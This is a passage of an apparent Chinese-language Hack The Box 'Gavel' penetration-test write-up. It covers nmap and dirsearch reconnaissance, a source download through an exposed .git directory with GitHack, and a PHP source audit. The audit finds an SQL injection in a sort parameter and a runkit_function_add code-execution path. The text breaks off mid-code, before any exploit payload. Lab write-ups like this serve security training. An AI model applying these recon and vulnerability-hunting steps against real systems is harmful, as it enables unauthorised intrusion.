{"id":348,"date":"2025-12-03T14:57:10","date_gmt":"2025-12-03T06:57:10","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=348"},"modified":"2026-01-29T16:18:59","modified_gmt":"2026-01-29T08:18:59","slug":"348","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/12\/03\/348\/","title":{"rendered":"HTB\u9776\u673a Gavel \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code><strong>10.129.44.242<\/strong><\/code><strong>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.43.68 (10.129.43.68) 56(84) bytes of data.\n64 bytes from 10.129.43.68: icmp_seq=1 ttl=63 time=281 ms\n64 bytes from 10.129.43.68: icmp_seq=2 ttl=63 time=275 ms\n64 bytes from 10.129.43.68: icmp_seq=3 ttl=63 time=276 ms\n64 bytes from 10.129.43.68: icmp_seq=4 ttl=63 time=273 ms\n\n--- 10.129.43.68 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3004ms\nrtt min\/avg\/max\/mdev = 272.598\/276.100\/280.553\/2.900 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u901a\u4fe1\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Nov 30 13:25:47 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.43.68\nNmap scan report for 10.129.43.68\nHost is up (0.28s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE         SERVICE\n22\/tcp open|filtered ssh\n80\/tcp open|filtered http\n\n# Nmap done at Sun Nov 30 13:26:22 2025 -- 1 IP address (1 host up) scanned in 34.90 seconds<\/code><\/pre>\n<p>\u9776\u673a\u7591\u4f3c\u5f00\u653e<code>2<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Nov 30 13:30:02 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.43.86\nWarning: 10.129.43.86 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.43.86\nHost is up (0.27s latency).\nNot shown: 64382 closed tcp ports (conn-refused), 1151 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)\n|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.52\n|_http-title: Did not follow redirect to http:\/\/gavel.htb\/\n|_http-server-header: Apache\/2.4.52 (Ubuntu)\nDevice type: general purpose|router\nRunning: Linux 4.X|5.X, MikroTik RouterOS 7.X\nOS CPE: cpe:\/o:linux:linux_kernel:4 cpe:\/o:linux:linux_kernel:5 cpe:\/o:mikrotik:routeros:7 cpe:\/o:linux:linux_kernel:5.6.3\nOS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)\nNetwork Distance: 2 hops\nService Info: Host: gavel.htb; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   262.86 ms 10.10.14.1\n2   262.97 ms 10.129.43.86\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Nov 30 13:31:20 2025 -- 1 IP address (1 host up) scanned in 77.94 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Nov 30 13:36:16 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.43.86\nWarning: 10.129.43.86 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.43.86\nHost is up (0.28s latency).\nAll 65535 scanned ports on 10.129.43.86 are in ignored states.\nNot shown: 65288 open|filtered udp ports (no-response), 247 closed udp ports (port-unreach)\n\n# Nmap done at Sun Nov 30 13:40:26 2025 -- 1 IP address (1 host up) scanned in 249.41 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u8fd0\u884c<code>Ubuntu Linux<\/code>\u64cd\u4f5c\u7cfb\u7edf\uff0c\u8fd0\u884c<code>22\/ssh<\/code>\u548c<code>80\/http<\/code>\u670d\u52a1\uff0c\u7f51\u7ad9\u4e3b\u57df\u540d\u4e3a<code>gavel.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>ssh<\/code>\u5de5\u5177\u8fde\u63a5\u9776\u673a\uff0c\u67e5\u770b\u5141\u8bb8\u7684\u767b\u5f55\u65b9\u5f0f\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh root@gavel.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764481809254-6e4a7f57-fac6-4e41-b4d9-b95f2574a3f9.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a<code>SSH<\/code>\u670d\u52a1\u5141\u8bb8\u4f7f\u7528\u5bc6\u94a5\u548c\u5bc6\u7801\u4e24\u79cd\u65b9\u5f0f\u767b\u5f55\u3002<\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/gavel.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764568299672-1a37405e-11f0-4eb0-9156-6336545ba99a.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7ad9\u70b9\u4e3a\u6a21\u62df\u8d2d\u7269\u7684\u4e2a\u4eba\u7f51\u7ad9\u3002\u5c1d\u8bd5\u8fdb\u884c\u76ee\u5f55\u626b\u63cf\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Mon Dec  1 08:20:29 2025 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/gavel.htb -x 400,403,404 -e php,js,html,txt,zip,tar.gz,json,xml,pdf,pcap,md -t 70 -w \/usr\/share\/wordlists\/dirb\/common.txt\n\n200    23B   http:\/\/gavel.htb\/.git\/HEAD\n302     0B   http:\/\/gavel.htb\/admin.php    -&gt; REDIRECTS TO: index.php\n301   307B   http:\/\/gavel.htb\/assets    -&gt; REDIRECTS TO: http:\/\/gavel.htb\/assets\/\n301   309B   http:\/\/gavel.htb\/includes    -&gt; REDIRECTS TO: http:\/\/gavel.htb\/includes\/\n200     3KB  http:\/\/gavel.htb\/index.php\n301   306B   http:\/\/gavel.htb\/rules    -&gt; REDIRECTS TO: http:\/\/gavel.htb\/rules\/<\/code><\/pre>\n<p>\u53d1\u73b0\u76ee\u6807\u7ad9\u70b9\u5b58\u5728<code>.git<\/code>\u76ee\u5f55\uff0c\u76f4\u63a5\u4f7f\u7528<code>GitHack<\/code>\u5de5\u5177\u8fdb\u884c\u6e90\u4ee3\u7801\u4e0b\u8f7d\uff1a<a href=\"https:\/\/github.com\/lijiejie\/GitHack\" target=\"_blank\"  rel=\"nofollow\" >GitHub - lijiejie\/GitHack: A <code>.git<\/code> folder disclosure exploit<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764568702511-b1ac1bfa-7eba-47ab-b4e6-9079e44c79b5.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-shell\">python \/home\/misaka19008\/Documents\/Programs\/GitHack\/GitHack.py http:\/\/gavel.htb\/.git\/<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764568738904-c2ce2b7c-ddab-45f2-82b3-d1b44e2311fe.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u4e0b\u8f7d\u7ad9\u70b9\u6e90\u4ee3\u7801\uff01<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>PHP\u6e90\u4ee3\u7801\u5ba1\u8ba1<\/h2>\n<h3>\u7f51\u7ad9\u529f\u80fd\u5206\u6790<\/h3>\n<p>\u5728\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u6210\u529f\u53d1\u73b0\u4e86\u7ad9\u70b9\u7684<code>Git<\/code>\u6cc4\u9732\u6f0f\u6d1e\u5e76\u4e0b\u8f7d\u4e86\u6e90\u4ee3\u7801\uff0c\u73b0\u5728\u8fdb\u884c<code>PHP<\/code>\u6e90\u4ee3\u7801\u5ba1\u8ba1\u3002<\/p>\n<p>\u5728\u8fdb\u884c\u4ee3\u7801\u5ba1\u8ba1\u4e4b\u524d\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u719f\u6089\u7f51\u7ad9\u7684\u4e3b\u8981\u529f\u80fd\u3002\u6253\u5f00\u4e3b\u9875\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5b58\u5728\u201c\u767b\u5f55\u201d\u548c\u201c\u6ce8\u518c\u201d\u4e24\u4e2a\u529f\u80fd\uff0c\u73b0\u5728\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u767b\u5f55\uff0c\u63a2\u67e5\u7f51\u7ad9\u666e\u901a\u7528\u6237\u62e5\u6709\u7684\u529f\u80fd\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764569034488-4accc3cb-143d-408f-8a84-6383e87c802e.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764569058471-a4188343-d68e-4555-863b-51f4203c416c.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5b58\u5728<code>Bidding<\/code>\u548c<code>Inventory<\/code>\u4e24\u4e2a\u529f\u80fd\uff0c\u5148\u67e5\u770b<code>Bidding<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764569184046-117f79aa-ba09-4986-b7c9-b66bece79cf5.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u529f\u80fd\u4e3a\u6a21\u62df\u6263\u6b3e\u6e38\u620f\u3002\u6bcf\u4e2a\u7528\u6237\u65b0\u6ce8\u518c\u65f6\u90fd\u4f1a\u62e5\u6709<code>50000<\/code>\u4e2a\u91d1\u5e01\uff0c\u800c\u7ad9\u70b9\u6a21\u62df\u6263\u6b3e\u6e38\u620f\u5b58\u5728<code>3<\/code>\u4e2a\u9009\u9879\uff0c\u7528\u6237\u9700\u8981\u5728\u6587\u672c\u6846\u5185\u8f93\u5165\u7b26\u5408\u9898\u76ee\u8981\u6c42\u7684\u6570\u503c\uff08\u57fa\u672c\u8981\u6c42\u4e3a\u8f93\u5165\u91d1\u5e01\u6570\u503c\u5fc5\u987b\u5927\u4e8e\u9898\u76ee<code>Current<\/code>\u6570\u503c\uff0c\u4e14\u5c0f\u4e8e\u7528\u6237\u5f53\u524d\u62e5\u6709\u7684\u91d1\u5e01\u6570\u503c\uff09\uff0c\u5982\u4e0d\u7b26\u5408\u57fa\u672c\u8981\u6c42\u548c\u9898\u76ee\u8981\u6c42\u5c31\u4f1a\u8fd4\u56de\u9519\u8bef\u63d0\u793a\u3002\u6309\u7167\u9898\u76ee\u8981\u6c42\u64cd\u4f5c\uff0c\u53ef\u4ee5\u770b\u5230\u5f53\u524d\u7528\u6237\u4f1a\u88ab\u6263\u6b3e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764569691327-1e5bf42c-9105-455d-9c96-427c221b12c0.png\" alt=\"\" \/><\/p>\n<p>\u70b9\u51fb<code>Inventory<\/code>\u5207\u6362\u529f\u80fd\uff0c\u53d1\u73b0\u8be5\u529f\u80fd\u53ef\u4ee5\u67e5\u8be2\u7528\u6237\u5b8c\u6210\u7684\u9898\u76ee\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764569806590-c8db79f1-c70e-42ae-bea6-a676fa0934db.png\" alt=\"\" \/><\/p>\n<p>\u6309<code>F12<\/code>\u6253\u5f00\u7f51\u7edc\u8bf7\u6c42\u76d1\u89c6\u5668\uff0c\u70b9\u51fb\u53f3\u4e0a\u89d2\u7684\u6392\u5e8f\u65b9\u5f0f\uff0c\u67e5\u770b\u8bf7\u6c42\u5305\uff0c\u53d1\u73b0\u67e5\u8be2\u6240\u9700\u7684\u7528\u6237<code>ID<\/code>\u53c2\u6570\u53ef\u4ee5\u7531\u653b\u51fb\u8005\u6307\u5b9a\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764569913705-fb205bb4-8494-4726-9739-41cd2f47d1e3.png\" alt=\"\" \/><\/p>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u6ca1\u6709\u53d1\u73b0\u5176\u5b83\u7684\u529f\u80fd\u548c\u654f\u611f\u4fe1\u606f\u3002<\/p>\n<h3>\u6e90\u4ee3\u7801\u5206\u6790<\/h3>\n<p>\u6211\u4eec\u9996\u5148\u5206\u6790\u7f51\u7ad9\u5165\u53e3<code>index.php<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764570375805-31ba51f7-bb66-4cab-bedf-aab331524745.png\" alt=\"\" \/><\/p>\n<p>\u901a\u8bfb\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u5728\u5f00\u5934\u5904\u5f15\u5165\u4e86<code>config.php<\/code>\u548c<code>db.php<\/code>\u3002\u67e5\u770b<code>config.php<\/code>\uff0c\u627e\u5230\u4e86<code>MySQL<\/code>\u8fde\u63a5\u51ed\u636e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764570528019-e0d74c43-4d31-4b3b-8d4e-a51632b22633.png\" alt=\"\" \/><\/p>\n<ul>\n<li>\u670d\u52a1\u5668\uff1a<code>localhost<\/code><\/li>\n<li>\u7528\u6237\u540d\uff1a<code>gavel<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>gavel<\/code><\/li>\n<li>\u6570\u636e\u5e93\uff1a<code>gavel<\/code><\/li>\n<\/ul>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u53d1\u73b0\u4efb\u4f55\u4fe1\u606f\u3002\u56de\u5230<code>index.php<\/code>\u7ee7\u7eed\u67e5\u770b\uff0c\u53d1\u73b0\u5728<code>72 - 79<\/code>\u884c\uff0c\u5f53\u7528\u6237<code>Session<\/code>\u4e2d\u7684\u6570\u7ec4\u9879<code>['user']['role']<\/code>\u503c\u4e3a<code>auctioneer<\/code>\u65f6\uff0c\u9875\u9762\u663e\u793a<code>Admin<\/code>\u529f\u80fd\u94fe\u63a5\uff0c\u8fd9\u610f\u5473\u8fd9\u5f53\u7528\u6237\u89d2\u8272\u4e3a<code>auctioneer<\/code>\u65f6\uff0c\u4ee3\u8868\u8be5\u7528\u6237\u4e3a\u7f51\u7ad9\u7ba1\u7406\u5458\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php if ($_SESSION['user']['role'] === 'auctioneer'): ?&gt;\n  &lt;li class=\"nav-item\"&gt;\n    &lt;a class=\"nav-link\" href=\"admin.php\"&gt;\n      &lt;i class=\"fas fa-tools\"&gt;&lt;\/i&gt;\n      &lt;span&gt;Admin Panel&lt;\/span&gt;\n    &lt;\/a&gt;\n  &lt;\/li&gt;\n&lt;?php endif; ?&gt;<\/code><\/pre>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u53d1\u73b0\u654f\u611f\u5b89\u5168\u95ee\u9898\u3002\u8f6c\u5230<code>login.php<\/code>\u548c<code>register.php<\/code>\u67e5\u770b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764571277457-35920916-f6ef-4787-88ef-4d82b945d43d.png\" alt=\"\" \/><\/p>\n<p><code>login.php<\/code>\u4e3a\u7f51\u7ad9\u767b\u5f55\u529f\u80fd\u5b9e\u73b0\uff0c\u7a0b\u5e8f\u4ece<code>POST<\/code>\u6570\u7ec4\u63a5\u6536<code>username<\/code>\u548c<code>password<\/code>\u53c2\u6570\uff0c\u5c06\u7528\u6237\u540d\u53c2\u6570\u8fc7\u6ee4\u540e\uff0c\u4f7f\u7528<code>MySQl PDO<\/code>\u9884\u7f16\u8bd1\u67e5\u8be2\u67e5\u51fa\u7528\u6237\u76f8\u5173\u7684\u6570\u636e\u5e93\u4fe1\u606f\uff0c\u518d\u5c06<code>password<\/code>\u5bc6\u7801\u53c2\u6570\u54c8\u5e0c\u548c\u6570\u636e\u5e93\u5185\u54c8\u5e0c\u6bd4\u5bf9\uff0c\u82e5\u76f8\u540c\u5219\u767b\u5f55\u6210\u529f\u3002<\/p>\n<p><code>register.php<\/code>\u4e3a\u7f51\u7ad9\u6ce8\u518c\u529f\u80fd\u5b9e\u73b0\uff0c\u7a0b\u5e8f\u63a5\u6536\u5230\u7528\u6237\u540d\u548c\u5bc6\u7801\u53c2\u6570\u540e\uff0c\u8fdb\u884c\u683c\u5f0f\u9a8c\u8bc1\uff0c\u901a\u8fc7\u540e\u9996\u5148\u67e5\u8be2\u7528\u6237\u540d\u662f\u5426\u5b58\u5728\uff0c\u82e5\u4e0d\u5b58\u5728\u5219\u5c06\u5bc6\u7801\u4f7f\u7528<code>BCrypt<\/code>\u65b9\u6cd5\u8f6c\u4e3a\u54c8\u5e0c\uff0c\u4f7f\u7528<code>PDO<\/code>\u9884\u7f16\u8bd1\u67e5\u8be2\u5c06\u7528\u6237\u540d\u3001\u5bc6\u7801\u54c8\u5e0c\u3001\u521b\u5efa\u65f6\u95f4\u3001\u7528\u6237\u89d2\u8272\u548c\u521d\u59cb\u91d1\u5e01\u503c\u5b58\u5165\u6570\u636e\u5e93<code>users<\/code>\u8868\u5185\uff0c\u6ce8\u518c\u6210\u529f\u3002\uff08\u7528\u6237\u89d2\u8272\u603b\u4e3a<code>user<\/code>\uff0c\u521d\u59cb\u91d1\u5e01\u503c\u603b\u4e3a<code>50000<\/code>\uff09\uff1a<\/p>\n<pre><code class=\"language-php\">$hash = password_hash($password, PASSWORD_DEFAULT);\n$createdAt = date('Y-m-d H:i:s');\n$money = 50000;\n$stmt = $pdo-&gt;prepare(\"INSERT INTO users (username, password, role, created_at, money) VALUES (:username, :password, :role, :created_at, :money)\");\n$stmt-&gt;execute([\n  'username' =&gt; $username,\n  'password' =&gt; $hash,\n  'role' =&gt; 'user',\n  'created_at' =&gt; $createdAt,\n  'money'    =&gt; $money,\n]);<\/code><\/pre>\n<p>\u4ed4\u7ec6\u68c0\u67e5\u6e90\u4ee3\u7801\uff0c\u5747\u672a\u53d1\u73b0<code>SQLi<\/code>\u3001<code>XSS<\/code>\u7b49\u5b89\u5168\u6f0f\u6d1e\u3002\u8f6c\u5230<code>inventory.php<\/code>\u5206\u6790\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764572018545-cb5facd6-250f-4e1e-aaca-68b353d50079.png\" alt=\"\" \/><\/p>\n<p><code>inventory.php<\/code>\u4e3a\u7ad9\u70b9\u5c55\u793a\u677f\u529f\u80fd\u5b9e\u73b0\u3002\u8be5\u7a0b\u5e8f\u5224\u65ad\u7528\u6237\u767b\u5f55\u540e\uff0c\u4ece\u8bf7\u6c42\u5305\uff08\u4f18\u5148\u8bfb\u53d6<code>POST<\/code>\u8bf7\u6c42\uff09\u4e2d\u8bfb\u53d6<code>sort<\/code>\u548c<code>user_id<\/code>\u53c2\u6570\uff0c\u968f\u540e\u5c06<code>sortItem<\/code>\u53d8\u91cf\u5185\u5bb9\u524d\u540e\u6dfb\u52a0\u53cd\u5f15\u53f7\uff0c\u540c\u65f6\u6e05\u9664\u5185\u5bb9\u4e2d\u7684\u53cd\u5f15\u53f7\u540e\uff0c\u5c06\u5176\u8d4b\u503c\u7ed9<code>col<\/code>\u53d8\u91cf\u3002\u5f53<code>sortItem<\/code>\uff0c\u5373<code>sort<\/code>\u53c2\u6570\u4e0d\u4e3a<code>quantity<\/code>\u65f6\uff0c\u7a0b\u5e8f\u76f4\u63a5\u5c06<code>col<\/code>\u53d8\u91cf\u5185\u5bb9\u62fc\u63a5\u5230\u4e86<code>PDO<\/code>\u67e5\u8be2\u8bed\u53e5\u4e2d\uff0c\u800c\u4e0d\u662f\u4f7f\u7528<code>execute()<\/code>\u65b9\u6cd5\u7ed1\u5b9a\u53c2\u6570\u67e5\u8be2\uff0c\u8fd9\u9020\u6210\u4e86<code>SQLi<\/code>\u6ce8\u5165\u6f0f\u6d1e\u3002<\/p>\n<p>\u8f6c\u5230<code>admin.php<\/code>\u5206\u6790\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764572608268-8380e1aa-0b9f-4cfd-8d2d-03a769481f37.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7ba1\u7406\u540e\u53f0\u7684\u529f\u80fd\u4ec5\u4ec5\u4e3a\u64cd\u4f5c\u6570\u636e\u5e93\u8868<code>auctions<\/code>\u4e2d\u5b57\u6bb5<code>id<\/code>\u3001<code>rule<\/code>\u548c<code>message<\/code>\u7684\u503c\u3002\u7a0b\u5e8f\u5728\u5224\u65ad\u5f53\u524d\u7528\u6237\u89d2\u8272\u4e3a<code>auctioneer<\/code>\u540e\uff0c\u4ece<code>POST<\/code>\u8bf7\u6c42\u4e2d\u8bfb\u5165<code>auction_id<\/code>\u3001<code>rule<\/code>\u548c<code>message<\/code>\u4e09\u4e2a\u53c2\u6570\u3002\u5982\u679c<code>auction_id<\/code>\u5927\u4e8e<code>0<\/code>\uff0c\u4e14<code>rule<\/code>\u548c<code>message<\/code>\u4e2d\u5b58\u5728\u4e00\u4e2a\u53c2\u6570\u4e3a\u7a7a\uff0c\u5219\u7a0b\u5e8f\u8fdb\u5165\u67e5\u8be2\u6a21\u5f0f\uff0c\u5c06<code>Auction<\/code>\u7684<code>rule<\/code>\u548c<code>message<\/code>\u6253\u5370\u51fa\u6765\uff1b\u53cd\u4e4b\uff0c\u5982\u679c<code>auction_id<\/code>\u5927\u4e8e<code>0<\/code>\uff0c\u4e14<code>rule<\/code>\u548c<code>message<\/code>\u90fd\u4e0d\u7a7a\uff0c\u5219\u7a0b\u5e8f\u4f1a\u5411\u6570\u636e\u8868\u4e2d\u66f4\u65b0\u4e00\u6761\u8bb0\u5f55\u3002<\/p>\n<pre><code class=\"language-php\">if ($auction_id &gt; 0 &amp;&amp; (empty($rule) || empty($message))) {\n  $stmt = $pdo-&gt;prepare(\"SELECT rule, message FROM auctions WHERE id = ?\");\n  $stmt-&gt;execute([$auction_id]);\n  $row = $stmt-&gt;fetch(PDO::FETCH_ASSOC);\n  if (!$row) {\n      $_SESSION['success'] = 'Auction not found.';\n      header('Location: admin.php');\n      exit;\n  }\n  if (empty($rule))    $rule = $row['rule'];\n  if (empty($message)) $message = $row['message'];\n}\n\nif ($auction_id &gt; 0 &amp;&amp; $rule &amp;&amp; $message) {\n  $stmt = $pdo-&gt;prepare(\"UPDATE auctions SET rule = ?, message = ? WHERE id = ?\");\n  $stmt-&gt;execute([$rule, $message, $auction_id]);\n  $_SESSION['success'] = 'Rule and message updated successfully!';\n  header('Location: admin.php');\n  exit;\n}<\/code><\/pre>\n<p>\u8f6c\u5230<code>bidding.php<\/code>\u5206\u6790\uff0c\u53d1\u73b0\u524d\u9762\u63d0\u5230\u7684<code>rule<\/code>\u548c<code>message<\/code>\u5b9e\u9645\u4e0a\u5c31\u662f\u6a21\u62df\u8d2d\u7269\u754c\u9762\u7684\u9898\u76ee\u548c\u9519\u8bef\u63d0\u793a\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764577174866-b008bc71-2074-48ec-afff-0765f5419ca2.png\" alt=\"\" \/><\/p>\n<p>\u7a0b\u5e8f\u5224\u65ad\u7528\u6237\u767b\u5f55\u540e\uff0c\u9996\u5148\u5c06\u6240\u6709\u5904\u4e8e\u6fc0\u6d3b\u72b6\u6001\u7684<code>Auction<\/code>\u5168\u90e8\u67e5\u51fa\uff0c\u968f\u540e\u4f1a\u5728\u9875\u9762\u4e0a\u8f93\u51fa\u5176\u5177\u4f53\u4fe1\u606f\uff0c\u4f8b\u5982\u540d\u79f0\u3001\u56fe\u7247\u5730\u5740\u3001\u7ed3\u675f\u65f6\u95f4\u7b49\u3002\u503c\u7684\u4e00\u63d0\u7684\u662f\uff0c\u5f53\u7528\u6237\u70b9\u51fb<code>Place Bid<\/code>\u6309\u94ae\u540e\uff0c\u6263\u6b3e\u8bf7\u6c42\u4f1a\u53d1\u9001\u5230<code>bid_handler.php<\/code>\u5904\u7406\uff1a<\/p>\n<pre><code class=\"language-php\">document.querySelectorAll('form.bidForm').forEach(form =&gt; {\n    form.addEventListener('submit', async function(e) {\n        e.preventDefault();\n\n        const formData = new FormData(form);\n        const statusDiv = form.querySelector('.bidStatus');\n\n        try {\n            const response = await fetch('includes\/bid_handler.php', {\n                method: 'POST',\n                body: formData\n            });\n\n            const result = await response.json();\n\n            if (result.success) {\n                statusDiv.innerHTML = `&lt;div class=\"alert alert-success\"&gt;${result.message}&lt;\/div&gt;`;\n                setTimeout(() =&gt; location.reload(), 1000);\n            } else {\n                statusDiv.innerHTML = `&lt;div class=\"alert alert-danger\"&gt;${result.message}&lt;\/div&gt;`;\n            }\n        } catch (err) {\n            statusDiv.innerHTML = `&lt;div class=\"alert alert-danger\"&gt;Unexpected error&lt;\/div&gt;`;\n        }\n    });\n});<\/code><\/pre>\n<p>\u76f4\u63a5\u5206\u6790<code>bid_handler.php<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764577694969-c0bcd958-0b7f-4d9d-9d31-e933d73a51c6.png\" alt=\"\" \/><\/p>\n<p>\u8be5\u7a0b\u5e8f\u5728\u9a8c\u8bc1\u7528\u6237\u767b\u5f55\u540e\uff0c\u9996\u5148\u63a5\u6536<code>bidding<\/code>\u9875\u9762\u53d1\u9001\u7684<code>auction_id<\/code>\u548c<code>bid_amount<\/code>\u53c2\u6570\uff0c\u6839\u636e<code>auction_id<\/code>\u67e5\u51fa\u9898\u76ee\u540e\uff0c\u5224\u65ad\u9898\u76ee\u72b6\u6001\u662f\u5426\u6fc0\u6d3b\u3001\u6263\u6b3e\u6570\u989d\u662f\u5426\u5927\u4e8e<code>0<\/code>\u4e14\u5c0f\u4e8e\u8d26\u6237\u603b\u91d1\u989d\u4e0e<code>Current BID<\/code>\u3002\u5982\u4e00\u5207\u6821\u9a8c\u901a\u8fc7\uff0c\u5219\u8c03\u7528<code>runkit_function_add()<\/code>\u65b9\u6cd5\u521b\u5efa\u9898\u76ee\u51fd\u6570\u5b9e\u73b0\u5e76\u8c03\u7528\u51fd\u6570\uff0c\u6263\u6b3e\u540e\u8fd4\u56de\u63d0\u793a\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-php\">$current_bid = $bid_amount;\n$previous_bid = $auction['current_price'];\n$bidder = $username;\n\n$rule = $auction['rule'];\n$rule_message = $auction['message'];\n\n$allowed = false;\n\ntry {\n    if (function_exists('ruleCheck')) {\n        runkit_function_remove('ruleCheck');\n    }\n    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);\n    error_log(\"Rule: \" . $rule);\n    $allowed = ruleCheck($current_bid, $previous_bid, 